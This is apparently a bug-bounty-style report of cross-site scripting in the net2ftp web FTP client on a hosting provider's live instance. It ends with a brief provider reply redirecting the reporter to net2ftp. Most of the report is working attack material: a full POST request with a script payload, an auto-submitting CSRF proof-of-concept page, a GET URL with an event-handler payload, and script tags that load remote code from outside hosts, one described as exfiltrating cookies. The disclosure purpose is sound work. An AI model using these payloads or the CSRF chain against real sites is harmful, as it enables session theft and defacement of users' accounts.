Security vulnerabilities

Description

A high-impact Stored/Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the url_withpw parameter of the POST request to https://net2ftp.alwaysdata.com/index.php.

Due to the absence of proper input sanitization and output encoding, it is possible to inject arbitrary JavaScript that gets executed in the context of the victim’s browser. This flaw becomes significantly more critical when chained with CSRF, as it allows a remote attacker to exploit a logged-in user's session without requiring any user interaction beyond simply visiting a malicious page.

Steps to reproduce

1. open browser visit https://net2ftp.alwaysdata.com/index.php 2. intercept request and paste below code

POST /index.php HTTP/2
Host: net2ftp.alwaysdata.com
Referer: https://net2ftp.alwaysdata.com/
Cookie: net2ftpcookie_consent_necessary=1; net2ftpcookie_consent_nonpersonalized_ads=0; net2ftpcookie_consent_personalized_ads=1; net2ftpcookie_consent_preferences=1; net2ftpcookie_consent_statistics=1; net2ftpcookie_directory=%2F1; net2ftpcookie_ftpmode=binary; net2ftpcookie_ftpserver=1; net2ftpcookie_ftpserverport=21; net2ftpcookie_ftpserverport_ftp=21; net2ftpcookie_language=en; net2ftpcookie_passivemode=1; net2ftpcookie_protocol=FTP; net2ftpcookie_skin=shinra; net2ftpcookie_sshfingerprint=1; net2ftpcookie_user_email=testing%40example.com; net2ftpcookie_username=pHqghUme; net2ftpcookie_viewmode=list
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 2956
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="skin"

shinra
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="language"

en
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="protocol"

FTP
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="ftpserver"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="ftpserverport"

21
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="username"

pHqghUme
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="password_encrypted"

76A44335496474CB960FA0F2BBD5F54B
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="sshfingerprint"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="ftpmode"

binary
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="passivemode"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="viewmode"

list
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="sort"


------------YWJkMTQzNDcw
Content-Disposition: form-data; name="sortorder"


------------YWJkMTQzNDcw
Content-Disposition: form-data; name="consent_necessary"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="consent_preferences"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="consent_statistics"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="consent_personalized_ads"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="consent_nonpersonalized_ads"

0
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="user_email"

testing@example.com
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="state"

bookmark
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="state2"

main
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="directory"

/1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="url_withpw"

/index.php?protocol=FTP&amp;ftpserver=1&amp;ftpserverport=21&amp;sshfingerprint=1&amp;username=pHqghUme&amp;password_encrypted=76A44335496474CB960FA0F2BBD5F54B&amp;language=en&amp;skin=shinra&amp;ftpmode=binary&amp;passivemode=1&amp;viewmode=list&amp;sort=&amp;sortorder=&amp;state=login_small&amp;state2=bookmark&amp;go_to_state=browse&amp;go_to_state2=main&amp;directory=%2F1&amp;entry='"()&%<zzz><ScRiPt >alert(9584)</ScRiPt>
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="url_withoutpw"

/index.php?protocol=FTP&amp;ftpserver=1&amp;ftpserverport=21&amp;sshfingerprint=1&amp;username=pHqghUme&amp;language=en&amp;skin=shinra&amp;ftpmode=binary&amp;passivemode=1&amp;viewmode=list&amp;sort=&amp;sortorder=&amp;state=login_small&amp;state2=bookmark&amp;go_to_state=browse&amp;go_to_state2=main&amp;directory=%2F1&amp;entry=
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="text"

net2ftp 1
------------YWJkMTQzNDcw--

3. now you will see alert

Chaining with CSRf

1. make a file xss.html
2. paste the below code

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://net2ftp.alwaysdata.com/index.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="skin" value="shinra" />
      <input type="hidden" name="language" value="en" />
      <input type="hidden" name="protocol" value="FTP" />
      <input type="hidden" name="ftpserver" value="1" />
      <input type="hidden" name="ftpserverport" value="21" />
      <input type="hidden" name="username" value="pHqghUme" />
      <input type="hidden" name="password&#95;encrypted" value="76A44335496474CB960FA0F2BBD5F54B" />
      <input type="hidden" name="sshfingerprint" value="1" />
      <input type="hidden" name="ftpmode" value="binary" />
      <input type="hidden" name="passivemode" value="1" />
      <input type="hidden" name="viewmode" value="list" />
      <input type="hidden" name="sort" value="" />
      <input type="hidden" name="sortorder" value="" />
      <input type="hidden" name="consent&#95;necessary" value="1" />
      <input type="hidden" name="consent&#95;preferences" value="1" />
      <input type="hidden" name="consent&#95;statistics" value="1" />
      <input type="hidden" name="consent&#95;personalized&#95;ads" value="1" />
      <input type="hidden" name="consent&#95;nonpersonalized&#95;ads" value="0" />
      <input type="hidden" name="user&#95;email" value="testing&#64;example&#46;com" />
      <input type="hidden" name="state" value="bookmark" />
      <input type="hidden" name="state2" value="main" />
      <input type="hidden" name="directory" value="&#47;1" />
      <input type="hidden" name="url&#95;withpw" value="&#47;index&#46;php&#63;protocol&#61;FTP&amp;amp&#59;ftpserver&#61;1&amp;amp&#59;ftpserverport&#61;21&amp;amp&#59;sshfingerprint&#61;1&amp;amp&#59;username&#61;pHqghUme&amp;amp&#59;password&#95;encrypted&#61;76A44335496474CB960FA0F2BBD5F54B&amp;amp&#59;language&#61;en&amp;amp&#59;skin&#61;shinra&amp;amp&#59;ftpmode&#61;binary&amp;amp&#59;passivemode&#61;1&amp;amp&#59;viewmode&#61;list&amp;amp&#59;sort&#61;&amp;amp&#59;sortorder&#61;&amp;amp&#59;state&#61;login&#95;small&amp;amp&#59;state2&#61;bookmark&amp;amp&#59;go&#95;to&#95;state&#61;browse&amp;amp&#59;go&#95;to&#95;state2&#61;main&amp;amp&#59;directory&#61;&#37;2F1&amp;amp&#59;entry&#61;&apos;&quot;&#40;&#41;&amp;&#37;&lt;zzz&gt;&lt;ScRiPt&#32;&gt;alert&#40;9584&#41;&lt;&#47;ScRiPt&gt;" />
      <input type="hidden" name="url&#95;withoutpw" value="&#47;index&#46;php&#63;protocol&#61;FTP&amp;amp&#59;ftpserver&#61;1&amp;amp&#59;ftpserverport&#61;21&amp;amp&#59;sshfingerprint&#61;1&amp;amp&#59;username&#61;pHqghUme&amp;amp&#59;language&#61;en&amp;amp&#59;skin&#61;shinra&amp;amp&#59;ftpmode&#61;binary&amp;amp&#59;passivemode&#61;1&amp;amp&#59;viewmode&#61;list&amp;amp&#59;sort&#61;&amp;amp&#59;sortorder&#61;&amp;amp&#59;state&#61;login&#95;small&amp;amp&#59;state2&#61;bookmark&amp;amp&#59;go&#95;to&#95;state&#61;browse&amp;amp&#59;go&#95;to&#95;state2&#61;main&amp;amp&#59;directory&#61;&#37;2F1&amp;amp&#59;entry&#61;" />
      <input type="hidden" name="text" value="net2ftp&#32;1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

3. open the file you will see alert

Extra

we can deface page via XSS as well using payload : "><script src=https://jso-tools.z-x.my.id/raw/~/D2OR7UZJICY8P></script>

and exifilirate cookies :'"><script src=https://xss.report/c/shivangmauryaa></script>

on same endpoint parameter : url_withoutpw and go_to_state
are vulnerable

here is one more XSS on same endpoint via GET request however im not adding in different report because i the endpoints are same .

https://net2ftp.alwaysdata.com/index.php?directory=/1&entry=&ftpmode=binary&ftpserver=1&ftpserverport=21&go_to_state=teste%22oncontentvisibilityautostatechange=%22alert(1)%22%20%20style=%22content-visibility:auto%22&go_to_state2=main&language=en&passivemode=1&password_encrypted=76A44335496474CB960FA0F2BBD5F54B&protocol=FTP&skin=shinra&sort=&sortorder=&sshfingerprint=1&state=login_small&state2=bookmark&username=pHqghUme&viewmode=list

endpoint url_withoutpw is vulnerable same as the above CSRF

Hello,

We run the latest net2ftp version. If you've found a vulnerability in net2ftp, you should report it to them.

Kind regards,
Cyril